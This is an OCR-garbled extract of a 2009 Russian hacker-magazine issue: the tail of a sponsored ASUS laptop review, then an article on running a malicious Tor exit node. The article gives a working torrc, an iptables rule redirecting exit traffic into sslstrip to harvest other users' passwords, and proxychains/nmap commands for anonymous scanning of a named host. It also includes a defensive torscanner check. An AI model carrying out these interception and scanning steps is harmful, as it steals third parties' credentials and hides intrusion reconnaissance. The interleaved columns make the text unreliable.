производительное графическое ядро ATI MR HD4570 с 512Мб уделили большое внимание вопросам эргономики и работать за этим
видеопамяти. Так же в этом ноутбуке используется новая матрица ноутбуком действительно удобно.
с LED-подсветкой и размером 1366x768 пикселей. Она ярче, на U80V обладает клавиатурой с раздельными клавишами, имеющи-
30% легче и значительно экономнее ЖК-экранов предыдущих ми четкий, но плавный и бесшумный ход. Клавиатура оборудована
поколений. Ниже мы разберемся и отметим все основные фишки подсветкой с тремя уровнями яркости, что не только классно выглядит
ноута. в темноте, но и реально помогает в работе. Регулировка яркости экрана

024 XÀÊÅÐ 10 /130/ 09


очертания лица и сравнивает с образцами, после чего разрешает либо
ХАРАКТЕРИСТИКИ ASUS U80V не разрешает logon в систему. Само собой, перед работой надо будет
• Процессорная технология Intel® Centrino® 2 как следует обучить систему, сделав несколько собственных снимков в
• Процессор: Intel® Core™ 2 Duo T9550, 2.66 ГГц, 6 различных условиях.
Мб кеш L2. Поддержка технологий Enhanced Intel®
SpeedStep, Intel® EM64T, Intel® Virtualization ФИШКА 5:
Technology и Execute Disable Bit. EXPRESS GATE
• Оперативка: 4 Гб (две планки по 2 Гб) Как и другие ноутбуки U-серии, в U80V реализована технология Express
• HDD: 320 Гб Gate, позволяющая очень быстро загружать встроенную операционную
• Видеокарта: ATI MR HD4570 512Мб систему, основанную на Linux’е. Express Gate легко и быстро устанавлива-
• Дисплей: 14" LED, 1366x768 ется на любой доступный раздел, инсталлятор лишь разместит на нем не-
• WLAN: 802.11n, Bluetooth сколько своих служебных файлов. В итоге ты получишь легкую операцион-
• Мышь в качестве бонуса ную систему, которая запускается за 8 секунд и предоставляет все базовые
возможности для работы: браузер, Skype, доступ к локальным файлам.
Если же возникнет желание немного покопаться руками, можно будет
и подсветки может выполняться автоматически: специальный датчик расширить список приложений. Дело в том, что всю информацию
постоянно оценивает освещенность и если, например, вечером выклю- Express Gate хранит в файлах .sqx/.idx/.bin в разделе, который был ука-
чится свет, подсветка автоматически включится. Само собой, управлять зан при установке. SQX-файлы — не что иное, как контейнер для сжатой
этими делами можно и в ручном режиме. Отдельно хочется отметить файловой системы squashfs версии 3.0, а работать с ними можно с помо-
тачпад с полноценной реализацией функций мультитача и забавной щью утилиты squashfs-tools. В этот архив можно легко добавить любой
подсветкой. Теперь ты можешь скролить документы двумя пальцами и бинарник, собранный под Debian. Только надо не забыть отключить
мгновенно изменять масштабирование документов. проверку целостности системы, для чего надо подправить файл version с
md5-хешами системных файлов.
ФИШКА 2: Вообще, как ни крути, а модель у ASUS вышла очень удачная. Даже если
ПОДДЕРЖКА 802.11N не брать в расчет интересные нововведения, мы получаем отличный
Избавиться дома от проводов — давняя мечта любого гика. И вроде и проработанный ноутбук. Взять хотя бы расположение USB-портов,
мечта-то осуществимая, да вот только старый добрый Wi-Fi, а вернее, которые разнесены по разным краям корпуса, чтобы не мешаться друг
стандарты 802.11b и 802.11g, полноценно воплотить эту мечту в жизнь другу. Дома я насладился еще одним преимуществом таких ноутбуков,
так и не смогли. Если скопируешь по такому соединению фильм в HD- подключив U50Vg к телевизору, используя HDMI-разъем. Ни на одном из
качестве и при этом не заснешь, приезжай в редакцию за медалью. моих маленьких компьютеров такой возможности не было :).
Совсем другое дело — стандарт 802.11n, который как раз и поддержи-
вается адаптером ноутбука U80V. Это реальный бонус! Никаких шуток ВЫВОДЫ
и никакого маркетинга: РЕАЛЬНЫЕ 70 Мбит/сек по беспроводному Ноут ASUS U80V — отличная машинка для работы и подойдет всем, кому
соединению тебе обеспечены! нужен мощный ноутбук и при этом часто приходится перемещаться:
небольшой вес и диагональ 14" не доставят больших проблем.
ФИШКА 3: При этом производительности точно хватит не только для каждодневной
МОЩНЫЙ ПРОЦЕССОР INTEL® CORE™ 2 DUO работы, но и для уверенного запуска нескольких гостевых ОС на базе
В ноутбуке установлен процессор Intel® Core™ 2 Duo T9550, работаю- VMWare, и для большинства игр.
щий на частоте 2.66 ГГц и, кроме всего прочего, поддерживающий две
очень интересные фирменные технологии Intel:
• Intel® Virtualization Technology
• Execute Disable Bit
Intel® VT — технология аппаратной виртуализации, которая значитель-
но ускоряет работу виртуальных машин. Учитывая еще и внушительный
объем памяти, на этом ноутбуке без проблем разместится парочка гос-
тевых операционных систем и ты сможешь проводить самые безумные
опыты, не боясь повредить основную ОС.
Что же касается Execute Disable Bit, то это специальная антивирусная Подробнее о ноутбуках ASUS серии U и других гаджетах вы можете
технология для противостояния вредоносному софту, использующему узнать в новом дискуссионном сообществе на trendclub.ru. Trend Club —
ошибки переполнения буфера. При работе этой технологии страницы дискуссионный клуб для тех, кто интересуется прогрессом и задумыва-
памяти, предназначенные для хранения данных, метятся специальным ется о будущем. Участники Trend Club обсуждают технические новинки,
XD-битом, запрещающим выполнение кода с этой страницы. В резуль- информационные технологии, футурологию и другие темы завтрашнего
тате, даже если какому-то сплойту удастся перезаписать участок памяти дня. Trend Club поддерживается компаниями Intel и ASUS и проводит
и передать на него выполнение, вредоносный код не будет исполнен регулярные конкурсы с ценными призами.
из-за того, что страница памяти помечена XD-битом.
Корпорация Intel, ведущий мировой производитель инновационных по-
ФИШКА 4: лупроводниковых компонентов, разрабатывает технологии, продукцию
ASUS SMARTLOGON и инициативы, направленные на постоянное повышение качества жиз-
Вместе с ноутбуком поставляется интересная софтина ASUS ни людей и совершенствование методов их работы. Дополнительную
SmartLogon, идентифицирующая человека по изображению его лица, информацию о корпорации Intel можно найти на Web-сервере компании
получаемого со встроенной web-камеры. После установки програм- Intel (http://www.intel.ru), а также на сайте http://blogs.intel.com. Для
ма позволит логиниться в винду одним лишь взглядом. С помощью получения дополнительной информации о рейтинге процессоров Intel
обучаемых алгоритмов, SmartLogon ловко выделяет из изображения посетите сайт www.intel.ru/rating. z

XÀÊÅÐ 10 /130/ 09 025


PC_ZONE
АНТОН «ANT» ЖУКОВ ANTITSTER@GMAIL.COM

0% 100%

Âêëþ÷àåì Tor
íà âñþ êàòóøêó
Çàñòàâëÿåì àíîíèìíóþ ñåòü ðàáîòàòü íà íàøè õàêåðñêèå öåëè
ÅÑËÈ ÒÛ Ñ×ÈÒÀÅØÜ, ×ÒÎ TOR — ÝÒÎ ÈÑÊËÞ×ÈÒÅËÜÍÎ ÑÐÅÄÑÒÂÎ ÄËß ÎÁÅÑÏÅ×ÅÍÈß ÏÐÈ-
ÂÀÒÍÎÑÒÈ Â ÑÅÒÈ, ÒÎ ÒÛ ÍÅÏÐÀÂ ÄÂÀÆÄÛ. ÂÎ-ÏÅÐÂÛÕ, ÅÅ ÐÀÑÏÐÅÄÅËÅÍÍÓÞ ÑÅÒÜ ÌÎÆÍÎ
ÈÑÏÎËÜÇÎÂÀÒÜ Â ÑÀÌÛÕ ÐÀÇÍÛÕ ÖÅËßÕ. À, ÂÎ-ÂÒÎÐÛÕ, ÍÅ ÒÀÊ ÓÆ ÎÍÀ ÁÅÇÎÏÀÑÍÀ, ÊÀÊ
ÝÒÎ ÏÐÈÍßÒÎ ÐÅÊËÀÌÈÐÎÂÀÒÜ.

026 XÀÊÅÐ 10 /130/ 09


ÓÇÅË TOR ÊÀÊ ÐÀÁÎÒÀÅÒ TOR: 1 ØÀÃ
ÍÅÇÀØÈÔÐÎÂÀÍÎ
ÇÀØÈÔÐÎÂÀÍÎ Àëèñà

Äæåéí
Äåéâ

Áîá
TOR-КЛИЕНТ АЛИСЫ ПОЛУЧАЕТ ОТ СЕР-
ВЕРА ДИРЕКТОРИЙ (БАЗА ДАННЫХ НОД)
СПИСОК СЕРВЕРОВ СЕТИ TOR

2 ØÀÃ
Àëèñà

Äæåéí

Äåéâ Áîá
TOR-КЛИЕНТ АЛИСЫ ВЫБИРАЕТ СЛУЧАЙНЫЙ ПУТЬ
ДО ЦЕЛЕВОГО СЕРВЕРА, НА КАЖДОМ ШАГЕ ВЫБИ-
Tor, как замечательный инструмент для обеспечения ано-
РАЕТ СЛУЧАЙНЫЙ КЛЮЧ ШИФРОВАНИЯ
нимности и сохранности данных, хорош по многим причи-
нам. Сразу остаются не у дел любые сниферы, в том числе,
установленные и на интернет-маршрутизаторы, потому как
весь трафик передается через цепочку узлов, исключительно
3 ØÀÃ
в зашифрованном виде. Крайне затруднительно или, если
полностью поверить разработчикам, то даже невозможно
становится отследить источник отправки данных, благодаря Àëèñà
постоянно меняющимся цепочкам специальных узлов-
посредников, через которые передаются данные. Кто не
пробовал использовать Tor, чтобы банально сменить свой IP?
Минус на первый взгляд один — скорость работы. Каждый
из нодов, входящих в цепочку, вносит серьезную задержку,
как по времени отклика, так и банально по ширине канала.
В результате получаем анонимное соединение. Анонимное и Äæåéí
модемное :). Но диалапный коннект — это не самая главная
проблема активных пользователей Tor. Гораздо сильнее их
должно волновать, что любые данные можно перехватить и,
черт подери, сделать это просто! Äåéâ Áîá
ÎÒÊÓÄÀ ÁÅÐÓÒÑß... ÍÎÄÛ
Чтобы пустить трафик приложения через Tor, достаточно ДЛЯ СОЕДИНЕНИЯ С ДЖЕЙН ИСПОЛЬЗУЕТСЯ
указать в настройках прокси — адрес локального SOCKS- ИНАЯ ЦЕПОЧКА, ЧЕМ ПРИ СОЕДИНЕНИИ С
БОБОМ

XÀÊÅÐ 10 /130/ 09 027


PC_ZONE

ИЗУЧАЕМ ДАМП СНИФЕРА В WIRESHARK'Е

СООБЩЕНИЯ, ВЫДАВАЕМЫЕ TOR'ОМ ПРИ ПОДКЛЮЧЕНИИ

сервера. В случае, если такой возможности не предусмот- ÃÄÅ ÇÀÐÛËÀÑÜ ÑÎÁÀÊÀ?


рено, можно использовать соксофикатор (например, Итак, маршрут постоянно меняется, данные через про-
Sockscap), но помнить при этом, что через сокс можно межуточные узлы проходят в виде белиберды, т.е. в
пустить только TCP-трафик. Впрочем, для большинства зашифрованном виде — где же подвох? Он есть. Ведь,
WARNING пользователей намного более интересны будут готовые как серьезно бы ни защищались данные, как изощренно
сборки (так называемые Bundles), включающие сам Tor, а ни выбирался и ни запутывался маршрут, все равно где-
также преконфигурированные браузер Firefox и IM-клиент то на выходе данные нужно расшифровать и доставить
Pidgin. Поставил и все работает! Кстати говоря, для боль- до места назначения. Эта операция осуществляется на
warning шего удобства для Firefox'а реализован плагин Torbutton последней ноде в цепочке — так называемой выходной
Данная статья не яв- (addons.mozilla.org/firefox/addon/2275). Щелкнул — и весь ноде (Exit Node), которая видит весь трафик «как есть».
ляется инструкцией трафик безопасно передается через цепочку промежу- Если на таком узле установить снифер, то данным ничего
или побуждением к точных узлов-серверов. Что вообще представляют собой больше не останется, как прямиком попасть в логи :).
действиям. Она при- эти узлы и как в принципе устроен Tor? Попробуем разо- Ты можешь подумать, что система такого положения дел
звана лишь показать, браться. не допускает и поднять Tor для работы в качестве выход-
что даже программы, В основе технологии лежит распределенная система ной ноды невозможно? Еще как можно! Вообще, вся сеть
создаваемые ради узлов — так называемых нод (Node), между которыми в Tor'а строиться на большом количестве энтузиастов, уча-
благих целей, могут зашифрованном виде передаются данные. Для соедине- ствующих в проекте и предоставляющих свои домашние
быть использованы ния обычно используется три сервера, которые образуют компьютеры для запуска нодов, в том числе и выходных.
во зло. временную цепочку. Каждый сервер выбирается случай- Несколько нужных параметров в конфиге — твой билет в
ным образом, при этом он знает только то, от какого звена их ряды.
получил данные и кому они предназначаются. Мало этого
— цепочки постоянно меняются. Даже в случае перехвата ÄÀ ÇÄÐÀÂÑÒÂÓÅÒ EXIT NODE!
данных на одном из серверов, отследить полный маршрут Ну что ж, приступим. Для экспериментов нам понадобится
пакетов (в том числе и их отправителя) не представляется любой никсовый дистрибутив, пускай это будет Backtrack,
возможным. Перед отправлением пакет последовательно запущенный с флешки, или Ubuntu на виртуальной маши-
шифруется тремя ключами: сначала для третьей ноды, не — это совершенно не важно. Теоретически все то же
потом для второй и, в конце концов, для первой. Когда самое можно было провернуть и на Винде, но в этом слу-
первая нода получает пакет, она расшифровывает «верх- чае придется решить ряд неприятных проблем, о которых
ний» слой шифра и узнает, куда отправить пакет дальше. я скажу ниже.
Второй и третий сервер поступают аналогичным образом. Последняя версия Tor (на момент публикации — 0.2.1.19).
Любители поработать мышкой также могут скачать и

ÑÊÐÛÒÛÅ ÑÅÐÂÈÑÛ — ÓÍÈÊÀËÜÍÀß ÔÈØÊÀ TOR


Есть у Tor еще одна интерес- через специальные псевдо-домены непубличных (закрытых для внеш-
ная фича — скрытые сервисы. верхнего уровня .onion. Сеть Tor него доступа) интерфейсов. Данный
Пользователи Tor могут предостав- понимает эти домены и направляет функционал можно использовать для
лять различные сервисы, такие как информацию анонимно к скрытым размещения сайта, не беспокоясь о
веб-доступ или сервер системы службам. Скрытая служба затем цензуре. Никто не будет в состоянии
мгновенного обмена сообщениями, обрабатывает ее посредством стан- определить владельца сайта, и вла-
не открывая свое истинное местопо- дартного софта, который настраи- делец сайта не будет в состоянии
ложение. Скрытые службы доступны вается на прослушивание только узнать, кто использовал сайт.

028 XÀÊÅÐ 10 /130/ 09


DVD

dvd
Все описанные в
статье скрипты,
утилиты ты найдешь
на нашем диске.

HTTP://WWW

links
•Tor+Vidalia+
Proxomitron+
Freecap — wsnow.
net/my_soft/41-
narushaya-zaprety.
html.
•OperaTor — Opera+
Tor+Polipo —
archetwist.com/en/
opera/operator.
•Portable Tor —
портативный пакет
Tor, не требующий
ЗАПУСКАЕМ SSLSTRIP инсталляции на ком-
пьютер — portabletor.
sourceforge.net.
установить Vidalia, GUI-оболочку для управления Vidalia вателя, из-под которого будет осуществляться запуск Tor. •Torbutton — рас-
или же, вообще, готовую сборку программ. Но так как мы Для этого набирай в консоли команду adduser и дальше ширение Firefox,
будем работать в консоле, нас устроит и просто чистый Tor. отвечай на вопросы. В результате в системе появится добавляющее в него
Итак, скачиваем пакет, распаковываем и устанавливаем. Я новый пользователь (скажем, toruser): uid=111(toruser) кнопку включения
думаю, на этой стадии никаких проблем быть не должно. gid=10(wheel) groups=0(wheel),10(wheel). и выключения Tor.
Один из немногочисленных нюансов работы Tor заклю- Теперь, когда подготовка закончена, можно приступить Обеспечивает также
чается в том, чтобы на компьютере было правильно к конфигурированию самого Tor'а. Все настройки указы- улучшеную защиту
установлено время. Перед экспериментом синхронизи- ваются в файле конфигурации torrc, который необходимо приватности и изо-
руйся с публичным сервером времени, иначе получишь создать в папке .tor, находящейся в домашней директории ляцию состояния
порцию предупреждений о том, что часы у тебя сильно пользователя (т.е. /home/toruser). Ровно как и файла, браузера — addons.
идут вперед или, наоборот, серьезно отстают. Еще одно таких папок в системе может не быть — в этом случае mozilla.org/ru/firefox/
подготовительное действие — создание в системе пользо- необходимо их создать. Далее открываем в текстовом addon/2275.
•Vuze — клиент
файлообменной
ÄÅÐÆÀÒÜ EXIT NODE — ÇÀÄÀ×À ÄËß ÊÐÅÏÊÈÕ ÏÀÐÍÅÉ сети BitTorrent со
встроенной поддерж-
• Надо понимать, что работая в каче- вании того, что они были незаконно ных агентств разных стран. По его кой Tor — azureus.
стве Exit Node'ы, человек серьезно использованы для доступа к детской словам, он в качестве эксперимента sourceforge.net.
подставляет себя. Ведь именно его порнографии. создал 5 выходных серверов Tor и •Неплохой мануал по
IP светится во время взломов и перехватывал через них незашифро- настройке Tor: www.
т.д. В процессе написания статьи • Â 2007 ã. Национальная полиция ванный трафик. torproject.org/docs/
через мой сервер дважды пытались Швеции арестовала известного tor-doc-relay.html.ru.
провести атаку типа SQL-injection. эксперта по компьютерной безопас- • Â 2007 ã. немецкая полиция аресто- •Полный список под-
Так что, держи ухо востро: за такие ности Дена Эгерстада (Dan Egerstad) вала в Дюссельдорфе Александра держиваемых опций:
вещи можно запросто схлопотать от по обвинению в неправомерном Янссена, организовавшего у себя на www.torproject.org/
правоохранительных органов или доступе к компьютерной информа- компьютере сервер Tor, через кото- tor-manual.html.
от провайдера. Вот лишь некоторые ции. 22-летний сотрудник компании рый неизвестный отправил ложное •Настройка скры-
примеры: Deranged Security опубликовал сообщение о теракте. Несмотря на то, тых сервисов: www.
на своем рабочем сайте пароли к что вскоре г-н Янссен был отпущен, torproject.org/docs/
• Â 2006 ã. спецслужбы Германии осу- электронной почте посольств, него- он решил отказаться от дальнейшего tor-hidden-service.
ществили захват шести компьютеров, сударственных организаций, ком- использования своего компьютера в html.ru.
работавших нодами сети Tor на осно- мерческих фирм и правительствен- качестве точки выхода Tor.

XÀÊÅÐ 10 /130/ 09 029


PC_ZONE

Перед тем, как сломя голову тут же запускать


Tor, вспоминаем, что для запуска создавали
отдельного пользователя. Поэтому открываем
консоль, логинимся под toruser (команда su
toruser) и только после этого даем отмашку на
запуск Tor'а, передав в качестве параметра
для запуска путь до конфиг-файла:

$ tor -f /home/toruser/.tor/torrc

Сам запуск приложения еще не означает,


что все заработало как надо, поэтому вни-
мательно смотрим выдаваемые программой
сообщения. Как только сервер сможет подсо-
единиться к сети, он попытается определить
доступность своих портов снаружи. Это может
занять до 20 минут. В логах появятся сообще-
ния вида «Self-testing indicates your ORPort
is reachable from the outside. Excellent». Если
таковых нет, значит, сервер недоступен из
внешней Сети и нужно поверить файрвол.
Как только сервер проверит свою доступность
извне, он загрузит на сервер директорий
(проще говоря, базу нод) свой дескриптор.
С ПОМОЩЬЮ IPTABLES ПЕРЕНАПРАВЛЯЕМ ИСХОДЯЩИЙ HTTP- Это позволит клиентам узнать адрес, порты,
ТРАФИК TOR'А НА SSLSTRIP ключи и другую информацию о нашем сервере.
Можно зайти на сам сервер директорий http://
moria.seul.org:9032/tor/status/authority и найти
редакторе наш конфиг: vi /home/toruser/.tor/ лочки: Vidalia или, например, Tork. Оставляем в тексте nickname сервера, указанный ранее в
torrc и приступаем к настройке. параметр по умолчанию. конфиге, таким образом убедившись, что наша
Тут надо сказать, что настройка Tor'а для DirPort задает порт для приема подключений нода доступна для подключения клиентов.
работы в качестве обычного клиента и для от сервера директорий. Рекомендую значение Если же в списке ты себя не найдешь, повтори
функционирования в качестве выходного сер- 9030 не трогать. попытку чуть позже — записи в сервере дирек-
вера — это две разные ситуации. Ты можешь ExitPolicy является очень важным парамет- торий обновляются далеко не моментально и
сам в этом убедиться, если запустишь Vidalia ром, потому как определяет, какой трафик Tor может потребоваться некоторое время, чтобы
и в разделе «Settings/Sharing» выберешь сна- будет принимать и форвардить далее, а какой все изменения отразились в базе.
чала режим работы в качестве клиента (Run — игнорировать. Формат для определения Сразу за строчкой с названием сервера (т.е.
as a client only) и затем в качестве сервера правила следующий: ExitPolicy Accept HelloHacker) идет текстовое описание ноды.
(Relay traffic for the Tor network), посмотрев | Reject address:port. Обозначив нуж- Если ты увидишь что-то вроде «s Exit Fast
в обоих случаях сгенерированный конфиг- ные порты, мы указали Tor'у, чтобы тот прини- Running V2Dir Valid», знай — ты Exit Node!
файл. В последнем случае появляются много- мал трафик по интересным для нас протоко-
численные опции, актуальные для работы лам (прежде всего, HTTP-данные, передавае- ËÎÂÈÑÜ, ÐÛÁÊÀ, ÁÎËÜØÀß
в качестве сервера. Чтобы все заработало мые на 80 порт), а все остальное — вырезал. Итак, выходная нода настроена, запущена,
наверняка, приведу рабочий конфиг для пре- Маленький хинт: чтобы не передавать через добавлена в базу — кто-нибудь обязательно
вращения нашего Tor'а в сервер Exit node, а себя много бесполезного с точки зрения инте- ею воспользуется уже в самое ближайшее
затем разберу каждый параметров: ресностей трафика, можно забанить адреса время. Что это дает? Ситуацией можно вос-
rapidshare.com и других файловых обменни- пользоваться самыми разными способами.
ControlPort 9051 ков, а также порнушных ресурсов. Развеять миф об анонимности Tor'а поможет
DirPort 9030 HashedControlPassword — это хеш пароля для переадресация клиентов на специальную
ExitPolicy accept *:80,accept доступа и конфигурации Tor-сервера (чтобы страницу, где с помощью элемента ActiveX,
*:443,accept *:110,accept никакой злобный хакер не смог переконфигу- апплета на Java и элемента на Flash опреде-
*:143,accept *:993,accept рировать наш сервер), который создается при ляется настоящий IP-адрес. Прием называет-
*:995,reject *:* помощи команды: tor --hash-password. ся unmasking и хорошо описывается в доку-
HashedControlPassword 16:91495A0B7 Nickname — имя нашего сервера, которое менте Unmasking TOR Users (www.fortconsult.
CBC41C76073E1EC00A5CF1510D41462884 буде отображаться в сервере директорий. net/images/pdf/tpr_100506.pdf).
391CCB24BF489F1 ORPort — порт, на котором будут ожидаться Другой вариант — пощупать все проле-
Log notice stdout подключения от других нодов. тающие через ноду данные снифером. Для
Nickname HelloXakep SocksListenAddress — адрес и порт, по которым этого достаточно запустить Wireshark (www.
ORPort 9001 Tor будет ждать подключений от приложений, wireshark.org) или любой другой нюхач,
SocksListenAddress 127.0.0.1 работающих через SOCKS. Если порт не указан, выбрать для анализа интерфейс, который
то используется стандартный 9050-й. Позже, нам смотрит во внешнюю сеть, и включить пере-
Нас интересует несколько параметров: это понадобится, если мы захотим использовать хват пакетов. Данные не заставят себя ждать.
ControlPort указывает порт, на котором Tor Tor в связке с Privoxy или другими прокси. В большинстве случаев пакеты начнут появ-
будет принимать подключения для удаленно- Теперь, когда со всеми параметрами мы разо- ляться в логах уже очень скоро :).
го управления. В частности этот порт исполь- брались, можно просто сохранить изменения Дальше остается проанализировать полу-
зуется для связи с демоном графической обо- и закрыть файл. ченный дамп и... убедиться, что большинство

030 XÀÊÅÐ 10 /130/ 09


цией, когда ты сканируешь удаленный
хост, а он распознает в твоих действиях
подозрительную активность и блокирует по
IP? Обойти это досадное ограничение нам
опять же поможет Tor, ведь никто не гово-
рил, что его можно использовать только
для анонимного серфинга, верно? :)
Даже если нас заблокируют, мы всегда можем
пустить трафик через другой Tor-сервер,
благо, у нас их — хоть отбавляй. Для фокуса
нам потребуется:
1. Tor, через который будет достигаться ано-
нимность и смена IP-адреса — он у нас уже
установлен и настроен.
2. proxychains (proxychains.sourceforge.net)
позволяет создавать цепочки из проксей и
поможет пустить трафик Nmap'а через Tor.
3. tortunnel (www.thoughtcrime.org/software/
tortunnel), а вернее входящая в него утилита
torproxy поможет работать сразу через третью
— выходную ноду. Об этом чуть позже.
Вообще говоря, Nmap не умеет производить
сканирование через Socks, но мы ему можем
помочь в этом с помощью соксофикатора.
СКАНИРОВАНИЕ ПРОИСХОДИТ ЧЕРЕЗ ТОР (ПОЭТОМУ ДЛИТСЯ АЖ 67 Для этого устанавливаем proxychains, откры-
СЕКУНД) ваем конфиг proxychains.conf и раскомен-
тируем в нем следующую строчку, в которой
указан адрес и порта сокса, встроенного в
перехваченных данных — полная ерунда. Очень важно после ключа -uid-owner указать наш Tor-сервер:
Все самое интересное передается по HTTPS id пользователя toruser. Только в этом случае
и естественно остается вне досягаемости весь исходящий HTTP-трафик юзера toruser Socks4 127.0.0.1 9050
снифера (по крайней мере, в понятном для будет переадресовываться на ssltrip (при-
него виде). Но ровно до тех пор, пока в ход нимающий подключения на 127.0.0.1:8080) Теперь, чтобы заставить произвольную про-
не будет пущена уже знакомая нам утили- и не зацикливаться в системе. Этот момент грамму работать через Tor, нужно запустить
та sslstip (www.thoughtcrime.org/software/ собственно и затрудняет снифинг под виндой: proxychains, где в качестве параметра ука-
sslstrip). На прошедшей в августе конферен- необходимо не только правильно настроить зать приложение и ключи для его запуска,
ции BlackHat2009 Moxie Marlinspike зарелизил NAT, но еще и найти файрвол, который позво- например: proxychains nmap -PN
новую версию этой замечательной проги лит использовать столь тонкие правила. 92.241.175.142. На указанном IP-адресе
(кстати, настоятельно рекомендую ознакомить- На этом настройка нашего сервера закончена хостится сайт www.xakep.ru, а ключ -PN отклю-
ся с его докладом — все материалы с BlackHat и нам остается только набраться терпения, чает проверку доступности удаленной машины.
мы выкладывали на сентябрьском DVD), еще чтобы не лезть сразу в логи и дать sslstrip Последнее может быть полезно, когда удален-
лучше позволяющей выполнять атаки Man-in- наловить различных данных, передаваемых ный хост режет ICMP-трафик, как в случае с
the-Middle и вынуждающей клиентов работать по SSL. А заодно задумываться, стоит ли при нашим сайтом.
по незащищенному соединению. таком раскладе использовать Tor вообще :). Теперь внимание — важный момент. Пустить
Итак, скачиваем дистрибутив sslstip, устанав- через сокс (и, соответственно, Tor) абсо-
ливаем его (подробнее от том, как использовать ÀÍÎÍÈÌÍÎÅ ÑÊÀÍÈÐÎÂÀÍÈÅ лютно весь трафик не удастся. Необходимо
sslstrip, смотри в майском номере) и запускаем, То, как перехватываются чужие логины убедиться, что соксофикация сработала и
указав с помощью ключей порт для приема и пароли мы посмотрели. А вот задачка приложение действительно работает через
подключений и файл для записи логов: поинтересней. Сталкивался ли ты c ситуа- Tor. Например, в ходе SYN-сканирования,

$ python sslstrip.py -a -l 8080 -w


today.log ÑÏÅÖÈÀËÈÇÈÐÎÂÀÍÍÛÅ ÎÑ
Напомню, что мы являемся последним узлом • Anonym.OS (sourceforge.net/projects/ • Phantomix (phantomix.ytternhagen.de)
в цепочке нодов Tor, поэтому от предыду- anonym-os) — LiveCD на базе OpenBSD, — LiveCD-дистрибутив, предназначенный
щего узла мы принимаем трафик в зашиф- в которой весь входящий трафик запре- для анонимного пользования интернетом с
рованном виде, далее декодируем его и щен, а весь исходящий автоматически и помощью Tor и Privoxy.
уже затем отправляем конечному адресату. прозрачно для пользователя шифруется и • Tor-ramdisk (opensource.dyc.edu/
Следовательно, от нас требуется весь исходя- анонимизируется при помощи Tor. tor-ramdisk) — дистрибутив Linux, раз-
щий трафик пропустить через sslstrip. Для • ELE (northernsecurity.net/download/ele/) работанный, чтобы обеспечить работу Tor
этого добавим в iptables такое правило: — миниатюрный Damn Small Linux в связ- полностью в оперативной памяти, без
ке с Dillo+Tor+Privoxy+Scroogle. использования жесткого диска или иных
$ iptables -t nat -I OUTPUT -p tcp • Incognito LiveCD (anonymityanywhere. устройств долговременного хранения дан-
-m owner -uid-owner 111 --dport com/incognito) — основанный на Gentoo, ных. Ребутнулся — и все улики пропали.
80 -j DNAT --to-destination LiveCВ с Tor'ом, TrueCrypt, KeePassX.
127.0.0.1:8080

XÀÊÅÐ 10 /130/ 09 031


PC_ZONE

банальный серфинг. Тем самым мы снизим


уровень анонимности (одна промежуточ-
ная нода вместо трех), но получим более
шустрый коннект. Заходим cнова в файл
конфигурации proxychains.conf и добавля-
ем строчку:

forward-socks5 /
127.0.0.1:5060 .

Теперь открываем огненного лиса и настра-


иваем HTTP-прокси на 127.0.0.1:8118. После
этого идем на http://torcheck.xenobite.eu/
index.php проверять, действительно ли мы
серфим через Tor. Если все окей, то ото-
бразится страница с надписью «Your IP is
identified to be a Tor-EXIT». Значит, можно
СМОТРИМ ПАРОЛИ В СОХРАНЕННОМ ДАМПЕ провести и ручной аудит удаленной систе-
мы :).
которое Nmap использует по умолчанию, $ ./bjam --prefix=/usr
сканер обращался к тестируемому серверу $ ./bjam install ÏÐÎÂÅÐÊÀ ÍÀ ÂØÈÂÎÑÒÜ
напрямую. Если бы мы исследовали что-то Теперь мы знаем, как анонимно скани-
по-настоящему серьезное, то легко могли После этого, заголовочные файлы должны ровать через Tor перехватывать чужие
таким образом спалиться. оказаться в /usr/include/boost, а библио- учетки. А что, если нам самим понадо-
К счастью, в арсенале Nmap доступны теки в /usr/lib. Теперь надо вручную соз- бится использовать Tor, чтобы, например,
самые разные методы скана, и, скажем, дать символическую ссылку на библиотеку на Gmail зайти? Как не попасть в логи
сканирование с полным подключением libboost_system.so.1.40.0 (может, кому и не sslstrip'a? Выход есть! В пакет tortunnel
(ключ -sT) отлично работает через Tor- понадобится, но у меня она при установ- входит утилита torscanner, предназначен-
сеть: proxychains nmap -sT -PN ке автоматически не создалась): ная для поиска Exit Node'ов, использующих
92.241.175.142. Как я уже говорил, sslstrip. Работает она следующим образом:
перед сканированием Nmap посылает $ ln -s /usr/lib/libboost_ мы передаем программе URL страницы,
ICMP-запросы (идущие напрямую от нашей system.so.1.40.0 /usr/lib/ содержащей HTTPS-ссылку(и), после чего
машины) удаленному серверу, чтобы про- libboost_system-mt.so она напрямую соединяется со всеми Exit
верить его доступность. Можно, как в моем Node'ами и запрашивает указанную стра-
примере, указывать ключ -PN, чтобы запре- Если все пройдет гладко, то tortunnel ницу, анализируя то, что с ней происходит.
щать подобную проверку. Или другой вариант скомпилируется и установить без сучка и Полученные данные по умолчанию выво-
— обрубать весь ICMP-трафик, идущий к этой задоринки. Из всего tortunnel'а нас инте- дятся в консоль, но можно перенаправить
машине, с помощью файрвола. Например, ресует утилита torproxy, которой в качестве вывод в файл для дальнейшего изучения.
так: iptables -A OUTPUT -dest параметра передается IP-адрес выходной Синтаксис для запуска — torscanner
92.241.175.142 -j DROP. ноды. destinationHost destinationPort
Теперь напрашивается вопрос: «А как request. Например: torscanner www.
ÏÐÎÊÀ×ÈÂÀÅÌ ÑÊÎÐÎÑÒÜ выбрать скоростную ноду?». Для этого google.ru 80 / > 1.txt.Если проана-
Ограничения соксофикации не единственная идем на http://128.31.0.34:9031/tor/status/ лизировав файл 1.txt, в ответах одного из
проблема. Вскоре обнаруживается, что за all или http://moria.seul.org:9032/tor/status/ серверов ты обнаружишь подмену HTTPS на
должный уровень анонимности приходится рас- authority и начинаем искать узлы с опи- HTTP, то на сервере однозначно работает
плачиваться крайне медленным сканированием. санием «Exit, Fast, Stable, Valid». Если sslstrip.
А все потому, что наши пакеты проходят через верить обозначениям, то именно так обо- Имей в виду, что Torscanner сканирует все
три промежуточный узла прежде, чем достигнуть значаются надежные и быстрые ноды :). выходные узлы, на что уходит достаточно
цели, причем далеко не факт, что эти ноды — Именно такие нам и нужны. много времени. Но я думаю, что ты сумеешь
самые быстрые на планете. В случае сканиро- Далее просто подставляем айпишник нуж- модифицировать программу таким образом,
вания целой подсети, процесс может затянуться ной ноды в строку для запуска torproxy: ./ чтобы она проверяла только определенный
на часы или даже дни. Тут нам поможет утилита torproxy [ExitNodeIP]. диапазон или вообще конкретный сервер.
torrtunnel, с помощью которой мы сможем Все, теперь torproxy принимает подклю-
